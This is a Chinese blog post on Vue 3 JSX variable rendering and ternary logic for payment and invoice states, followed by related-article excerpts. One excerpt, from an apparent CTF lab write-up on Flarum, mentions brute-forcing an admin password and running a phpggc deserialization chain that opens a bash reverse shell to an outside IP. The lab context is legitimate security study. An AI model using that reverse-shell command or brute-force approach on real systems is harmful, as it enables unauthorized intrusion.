vue3 jsx响应式渲染变量

news/2024/10/4 19:29:44

1、JSX渲染变量

vue在html代码区渲染变量使用双大括号{{ }},jsx在渲染是单大括号{}

另外,这里随便记一下一个简单有点绕的业务逻辑

2、多个变量影响判断三元表达式

根据上图,想要的效果分别是:

  • 订单状态是否支付,显示对应状态
  • 已支付的订单是否申请开发票,显示对应状态;且已申请的无法再申请、未支付的订单无法申请开发票
  • 未支付的订单无法开发票

需要判断的条件为:

  • 订单状态:服务端获取的state 为0是未支付,1是已支付;
  • 开发票按钮:服务端获取的invoicestate为0是未申请,1是已申请;invoicestate为0时同时判断state 是否为0,如果为0则无法申请发票

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/54969.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

春秋云镜 Flarum

春秋云镜 Flarum访问发现是个Flarum CMS框架.使用rockyou.txt爆破administrator得到密码1chris,登录后台 由于题目提示Flarum上执行任意命令,搜到了P牛的文章 照着打反序列化. 执行命令 ./phpggc -p tar -b Monolog/RCE6 system "bash -c bash -i >& /dev/tcp/123.…

Qt/C++地址转坐标/坐标转地址/逆地址解析/支持百度高德腾讯和天地图

一、前言说明 地址和经纬度坐标转换的功能必须在线使用,一般用在导航需求上,比如用户输入起点地址和终点地址,查询路线后,显示对应的路线,而实际上各大地图厂家默认支持的是给定经纬度坐标来查询(百度地图支持传入地址),但是你让用户输入经纬度坐标是不可能的,他肯定不…

Ethercat设备数据 转IEC61850项目案例

目录 1 案例说明 1 2 VFBOX网关工作原理 1 3 准备工作 2 5 设置网关采集ETHERCAT数据 5 6 用IEC61850协议转发数据 7 7 网关使用多个逻辑设备和逻辑节点的方法 9 8 安装NPCAP 10 9 案例总结 11 1 案例说明设置网关采集EtherCAT设备数据 把采集的数据转成IEC61850协议转发给其他…

若依如何修改logo

若依在我看来封装得很完善,但是也包了很多层,想修改logo找了好久找不对,做个笔记下次才好找 修改标题旁的logo title的logo图片存放在src>assets>logo文件下,修改的位置在layout>components>sidebar下的logo.vue修改URL上的logo

Hexo + redefine主题配置个人博客

前置准备安装 node js 安装 git 安装 Hexo 创建 Github 仓库。node js: https://nodejs.org/zh-cngit: 注:git 安装时一直继续就好,但是有 path 的地方一定要勾选。 https://git-scm.com/download/win检查一下是否安装成功,在终端中输入: node -v npm -v git --versionHe…

Linux监控性能调优分析-perf(3)火焰图

10 火焰图(flamegraph) perf火焰图是一种可视化性能分析工具,它通过将性能数据绘制成一个类似火焰的图,直观地展示了程序的调用栈,帮助开发者快速定位性能瓶颈。特点如下:可视化性能数据:火焰图将性能数据映射到一个二维的图中,横轴表示采样时间,纵轴表示调用栈。 火焰…